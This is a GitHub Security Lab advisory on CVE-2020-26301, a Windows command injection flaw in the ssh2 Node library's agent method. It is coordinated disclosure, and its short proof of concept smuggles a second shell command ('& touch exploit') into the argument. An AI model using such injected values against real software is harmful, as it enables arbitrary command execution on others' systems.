


[skip to content](#)  
[Back to GitHub.com](#)



[Security Lab](#)  
[Bounties](#) [Research](#) [Advisories](#) [Get Involved](#) [Events](#)  
  
[Home](#) [Bounties](#) [Research](#) [Advisories](#) [Get Involved](#) [Events](#)  
September 9, 2021

# GHSL-2020-123: Command injection in mscdex/ssh2 - CVE-2020-26301



[Kevin Backhouse](#)

## Coordinated Disclosure Timeline

- 2020-05-20: Emailed report to [mscdex@mscdex.net](mailto:mscdex@mscdex.net)
- 2020-06-16: Created an [issue](#) on their repo, asking them to contact us.
- 2021-05-20: Email from [mscdex@mscdex.net](mailto:mscdex@mscdex.net): "Hello, As far as I know, this was fixed many months ago. Let me know if there is still an issue. Brian".
- 2021-06-01: I checked the version history. The original bug was at [agent.js, line 206](#) and it looks like this was the fix: [f763271](#).

## Summary

The `agent` method has a command injection vulnerability on Windows. Clients of the `mscdex/ssh2` library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.

## Product

`mscdex/ssh2`

## Tested Version

Commit [632073f](#)

## Details

### Issue 1: Command injection in `agent` on Windows

The issue only exists on Windows. The following proof-of-concept illustrates the vulnerability. First install `mscdex/ssh2`:

```
npm install ssh2
```

Now create a file with the following contents:

```
const agent = require('ssh2/lib/agent');
agent("\n & touch exploit", (e) => {console.log(e)});
```

and run it:

```
node test.js
```

Notice that a file named `exploit` has been created.

This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples:

- [CVE-2020-7646](#),
- [CVE-2020-7614](#),
- [CVE-2020-7597](#),
- [CVE-2019-10778](#),
- [CVE-2019-10776](#),
- [CVE-2018-16462](#),
- [CVE-2018-16461](#),
- [CVE-2018-16460](#),
- [CVE-2018-13797](#),
- [CVE-2018-3786](#),
- [CVE-2018-3772](#),
- [CVE-2018-3746](#),
- [CVE-2017-16100](#),
- [CVE-2017-16042](#).

We have written a [CodeQL](#) query, which automatically detects this vulnerability. You can find the query [here](#).

## Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

## Credit

This issue was discovered and reported by GitHub Engineers [@max-schaefer](#) (Max Schaefer) and [@erik-krogh](#) (Erik Krogh Kristensen).

## Contact

You can contact the GHSL team at [securitylab@github.com](mailto:securitylab@github.com), please include GHSL-2020-123 in any communication regarding this issue.

## GitHub

### Product

- [Features](#)
- [Security](#)
- [Enterprise](#)
- [Customer stories](#)
- [Pricing](#)
- [Resources](#)

### Platform

- [Developer API](#)
- [Partners](#)
- [Atom](#)

- [Electron](#)
- [GitHub Desktop](#)

## Support

- [Docs](#)
- [Community Forum](#)
- [Professional Services](#)
- [Status](#)
- [Contact GitHub](#)

## Company

- [About](#)
- [Blog](#)
- [Careers](#)
- [Press](#)
- [Shop](#)

- 
- 
- 
- 
- 

- © 2021 GitHub, Inc.
- [Terms](#)
- [Privacy](#)
- [Cookie settings](#)